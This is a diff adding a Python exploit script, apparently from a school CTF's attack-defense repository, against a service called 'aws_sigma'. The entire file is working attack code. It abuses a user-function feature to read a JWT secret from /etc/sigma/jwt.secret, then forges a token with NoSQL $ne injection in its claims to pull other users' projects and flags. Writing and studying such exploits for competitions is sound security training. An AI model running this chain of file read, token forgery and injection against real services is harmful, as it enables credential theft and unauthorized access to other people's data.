adding validated services? patching forcad_local.py

ctfcup2025-school-final/sploits/aws_sigma/04_api_jwt_nosql.py

@@ -0,0 +1,131 @@
+# Эксплойт основан на доступном в файловой системе JWT секрете,
+# который можно прочитать при помощи пользователской функции.
+# Этим секретом подписывается токен, содержащий NoSQL инъекцию
+#
+# Он позволяет получить данные о чужих проектах, включая описание,
+# которое содержит флаги.
+
+import sys
+import uuid
+from datetime import datetime, timedelta, UTC
+
+import jwt
+import requests
+
+HOST = sys.argv[1]
+PORT = 3000
+BASE_URL = f"http://{HOST}:{PORT}/api/v1"
+
+FUNCTION_CODE = """
+res.json(fs.readFileSync("/etc/sigma/jwt.secret", "utf-8"));
+"""
+
+
+def make_id(prefix):
+    return f"{prefix}-{uuid.uuid4().hex[:8]}"
+
+
+def read_secret(
+    session: requests.Session,
+    headers: dict,
+) -> dict:
+    slug = make_id("proj")
+    project_name = f"Project {slug}"
+
+    print(f"[*] Creating project {project_name} ({slug}) for FS read")
+    response = session.post(
+        f"{BASE_URL}/projects",
+        headers=headers,
+        json={"name": project_name, "slug": slug, "description": "FS reader"},
+    )
+    response.raise_for_status()
+
+    project_response = response.json()
+    project_id = project_response.get("_id") or project_response.get("id")
+    project_slug = project_response.get("slug") or slug
+
+    print("[*] Creating helper function /sploit")
+    response = session.post(
+        f"{BASE_URL}/projects/{project_id}/functions",
+        headers=headers,
+        json={"name": "Sploit", "path": "/sploit"},
+    )
+    response.raise_for_status()
+
+    function_response = response.json()
+    function_id = function_response.get("_id") or function_response.get("id")
+
+    print("[*] Uploading sploit code")
+    response = session.put(
+        f"{BASE_URL}/projects/{project_id}/functions/{function_id}",
+        headers=headers,
+        json={"code": FUNCTION_CODE, "methods": ["GET"]},
+    )
+    response.raise_for_status()
+
+    exec_url = f"{BASE_URL}/exec/{project_slug}/sploit"
+    print(f"[*] Executing sploit function at {exec_url}")
+    response = session.get(exec_url)
+    response.raise_for_status()
+
+    return response.json().strip()
+
+
+def forge_jwt(secret):
+    payload = {
+        "sub": {
+            "$ne": None,
+        },
+        "username": {
+            "$ne": None,
+        },
+        "iat": datetime.now(UTC),
+        "exp": datetime.now(UTC) + timedelta(days=1),
+    }
+
+    return jwt.encode(payload, secret, algorithm="HS256")
+
+
+def main():
+    session = requests.Session()
+
+    username = make_id("user")
+    password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
+
+    print(f"[*] Registering user {username}")
+    response = session.post(
+        f"{BASE_URL}/users",
+        json={"username": username, "password": password},
+    )
+    response.raise_for_status()
+
+    print("[*] Logging in")
+    response = session.post(
+        f"{BASE_URL}/auth/login",
+        data={"username": username, "password": password},
+    )
+    response.raise_for_status()
+
+    login_response = response.json()
+    token = login_response.get("auth_token")
+    if not token:
+        raise RuntimeError("Login response missing auth_token field")
+    headers = {"Authorization": f"Bearer {token}"}
+
+    secret = read_secret(session, headers)
+    print(f"[+] Retrieved JWT secret: {secret}")
+
+    forged_token = forge_jwt(secret)
+    forged_headers = {"Authorization": f"Bearer {forged_token}"}
+    print(forged_headers)
+
+    print("[*] Fetching projects with forged token")
+    projects_response = session.get(
+        f"{BASE_URL}/projects",
+        headers=forged_headers,
+    )
+    print(projects_response.text)
+
+
+if __name__ == "__main__":
+    main()